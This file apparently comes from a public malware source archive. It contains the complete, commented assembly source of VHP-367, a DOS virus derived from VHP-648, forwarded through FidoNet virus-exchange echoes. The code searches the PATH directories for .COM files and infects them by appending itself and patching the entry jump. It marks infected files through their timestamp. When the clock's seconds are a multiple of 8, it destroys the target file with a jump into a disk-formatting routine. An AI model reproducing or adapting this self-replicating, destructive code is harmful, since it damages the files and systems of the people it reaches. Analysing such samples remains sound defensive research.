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https://github.com/vxunderground/MalwareSourceCode
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313 lines
8.5 KiB
NASM
313 lines
8.5 KiB
NASM
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
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; Msg : 47 of 54
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; From : MeteO 2:5030/136 Tue 09 Nov 93 09:17
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; To : - *.* - Fri 11 Nov 94 08:10
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; Subj : V_VHP367.ASM
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;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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;.RealName: Max Ivanov
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;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
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;* Kicked-up by MeteO (2:5030/136)
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;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
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;* From : Graham Allen, 2:283/718 (06 Nov 94 17:55)
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;* To : Adam Happ
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;* Subj : V_VHP367.ASM
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;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
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;@RFC-Path:
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;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
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;18.n283!not-for-mail
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;@RFC-Return-Receipt-To: Graham.Allen@f718.n283.z2.fidonet.org
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page ,132
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name VHP_367
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title Virus; based on the famous VHP-648 virus
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.radix 16
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code segment
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assume cs:code,ds:code
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org 100
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environ equ 2C
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newjmp equ 7Bh ;Code of jmp instruction
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codeptr equ 7A ;Here is formed a jump to the virus code
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pname equ 78 ;Offset of file name in the dir path
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poffs equ 76 ;Offset in the contents of the `PATH' variable
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errhnd equ 74 ;Save place for the old error handler
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fname equ 70 ;Path name to search for
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mydta equ 2C ;DTA for Find First/Next:
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attrib equ 17 ;File attribute
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time equ 16 ;File time
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date equ 14 ;File date
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fsize equ 12 ;File size
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namez equ 0E ;File name found
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start:
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jmp short virus
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nop
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int 20
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data label byte ;Data section
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saveins db 3 dup (90) ;Original first 3 bytes
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allcom db '*.COM',0 ;Filespec to search for
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pathstr db 'PATH='
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;This replaces the first instruction of a destroyed file.
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;It's a jmp instruction into the hard disk formatting program (IBM XT only):
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bad_jmp db 0EA,6,0,0,0C8
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virus:
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mov di,offset start ;Push the program true start address
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push di ; onto the stack
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push ax ;Save AX
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call self ;Detrmine the virus start address
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nop ;For those looking for the E80000 pattern
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self:
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pop bx
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sub bx,self-data-1 ;Keep bx pointed at data
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cld
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lea si,[bx+saveins-data] ;Original instruction saved there
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movsw ;Move 2 + 1 bytes
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movsb
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mov si,bx ;Keep SI pointed at data
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lea bp,[bx+endcode-data+7A] ;Reserve local storage
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mov ax,3524 ;Get interrupt 24h handler
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int 21 ; and save it in errhnd
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mov [bp-errhnd],bx
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mov [bp-errhnd+2],es
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mov ah,25 ;Set interrupt 24h handler
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lea dx,[si+handler-data]
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cmp al,0 ;DOS < 2.0 zeroes AL
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je exit ;Exit if version < 2.0
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push ds
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int 21
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lea dx,[bp-mydta]
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mov ah,1A ;Set DTA
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int 21
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push si ;Save SI
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mov es,ds:[environ] ;Environment address
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xor di,di ;Point ES:DI at the environment start
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mov bx,si
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mov al,0 ;0 means end of an enveronment variable
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search: ;Search 'PATH' in the environment
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lea si,[bx+pathstr-data]
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mov cx,5 ;5 letters in 'PATH='
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repe cmpsb
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je pfound ;PATH found, continue
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mov ch,80 ;Maximum 32 K in environment
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repne scasb ;If not, skip through next 0
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cmp al,es:[di] ;End of environment?
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jne search ;If not, retry
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xor di,di ;0 indicates no PATH found
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pfound:
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pop si ;Restore SI & ES
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pop es
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mov [bp-poffs],di ;Save 'PATH' offset in poffs
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lea di,[bp-fname]
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mov [bp-pname],di
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filesrch:
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lea si,[bx+allcom-data]
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movsw
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movsw ;Move '*.COM' at fname
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movsw
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mov si,bx ;Restore SI
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mov ah,4E ;Find first file
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lea dx,[bp-fname]
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mov cl,11b ;Hidden, Read/Only or Normal files
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jmp short findfile
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checkfile:
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mov al,[bp-time] ;Check file time
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and al,11111b ; (the seconds, more exactly)
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cmp al,62d/2 ;Are they 62?
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;If so, file is already contains the virus, search for another:
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je findnext
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;Is 10 <= file_size <= 64,000 bytes?
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sub word ptr [bp-fsize],10d
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cmp [bp-fsize],64000d-10d+1
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jc process ;If so, process the file
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findnext: ;Otherwise find the next file
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mov ah,4F ;Find next file
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findfile:
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int 21
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jnc checkfile ;If found, go chech some conditions
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nextdir:
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mov si,[bp-poffs] ;Get the offset in the PATH variable
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or si,si ;0 means end of PATH
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jnz skip2
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olddta:
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push ds ;Save DS
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mov ax,2524 ;Set interrupt 24h handler
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lds dx,dword ptr [bp - errhnd]
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int 21
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pop ds ;Restore DS
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exit:
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mov ah,1A ;Set DTA
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mov dx,80 ;Restore DTA
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int 21
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pop ax
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ret ;Go to CS:IP by doing funny RET
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skip2:
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push ds ;Save DS
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lea di,[bp-fname] ;Point ES:DI at fname
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mov ds,ds:[environ] ;Point DS:SI at the PATH variable found
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cpydir:
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lodsb ;Get a char from the PATH variable
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cmp al,';' ;`;' means end of directory
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je enddir
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cmp al,0 ;0 means end of PATH variable
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je endpath
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stosb ;Put the char in fname
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jmp cpydir ;Loop until done
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endpath:
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xor si,si ;Zero SI to indicate end of PATH
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enddir:
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pop ds ;Restore DS
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mov [bp-poffs],si ;Save the new offset in the PATH variable
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mov al,'\' ;Add '\'
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stosb
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mov [bp-pname],di
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jmp filesrch ;And go find the first *.COM file
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process:
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mov di,[bp-pname]
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lea si,[bp-namez] ;Point SI at namez
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cpyname:
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lodsb ;Copy name found to fname
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stosb
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cmp al,0
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jne cpyname
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mov si,bx ;Restore SI
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mov ax,4301 ;Set file attributes
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call clr_cx_dos
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mov ax,3D02 ;Open file with Read/Write access
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int 21
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jc oldattr ;Exit on error
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mov bx,ax ;Save file handle in BX
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mov ah,2C ;Get system time
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int 21
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and dh,111b ;Are seconds a multiple of 8?
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jnz infect ;If not, contaminate file (don't destroy):
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;Destroy file by rewriting an illegal JMP as a first instruction:
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mov cx,5 ;Write 5 bytes
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lea dx,[si+bad_jmp-data] ;Write THESE bytes
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jmp short do_write ;Do it
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;Try to contaminate file:
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;Read first instruction of the file (first 3 bytes) and save it in saveins:
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infect:
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mov ah,3F ;Read from file handle
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mov cx,3 ;Read 3 bytes
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lea dx,[si+saveins-data] ;Put them there
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call dos_rw
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jc oldtime ;Exit on error
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;Move file pointer to end of file:
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mov ax,4202 ;LSEEK from end of file
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call clr_dx_cx_dos
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add ax,virus-data-3 ;Add virus data length to get code offset
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mov [bp-codeptr],ax ;Save result in codeptr
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mov cx,endcode-data ;Virus code length as bytes to be written
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mov dx,si ;Write from data to endcode
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call dos_write ;Write to file handle
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jc oldtime ;Exit on error
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call lseek ;LSEEK to the beginning of the file
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;Rewrite the first instruction of the file with a jump to the virus code:
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mov cl,3 ;3 bytes to write
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lea dx,[bp-newjmp] ;Write THESE bytes
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do_write:
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call dos_write ;Write to file handle
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oldtime:
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mov dx,[bp-date] ;Restore file date
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mov cx,[bp-time] ; and time
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or cl,11111b ;Set seconds to 62 (the virus' marker)
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mov ax,5701 ;Set file date & time
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int 21
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mov ah,3E ;Close file handle
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int 21
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oldattr:
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mov ax,4301 ;Set file attributes
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mov cx,[bp-attrib] ;They were saved in attrib
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and cx,3F
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lea dx,[bp-fname]
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int 21 ;Do it
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jmp olddta ;And exit
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lseek:
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mov ax,4200 ;LSEEK from the beginning of the file
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clr_dx_cx_dos:
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xor dx,dx ;From the very beginning
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clr_cx_dos:
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xor cx,cx ;Auxiliary entry point
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db 3Dh ;Trick
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dos_write:
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mov ah,40 ;Write to file handle
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dos_rw:
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int 21
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jc dos_ret ;Exit on error
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cmp ax,cx ;Set CF if AX < CX
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dos_ret:
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ret
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handler: ;Critical error handler
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mov al,0 ;Just ignore the error
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iret ; and return
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db 0E9 ;The JMP opcode
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endcode label byte
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code ends
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end start
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;-+- GEcho 1.10+
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; + Origin: <Rudy's Place - Israel> Hard disks never die... (2:283/718)
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;=============================================================================
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;
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;Yoo-hooo-oo, -!
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;
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;
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; þ The MeÂeO
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;
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;/d Warn if duplicate symbols in libraries
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;
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;--- Aidstest Null: /Kill
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; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
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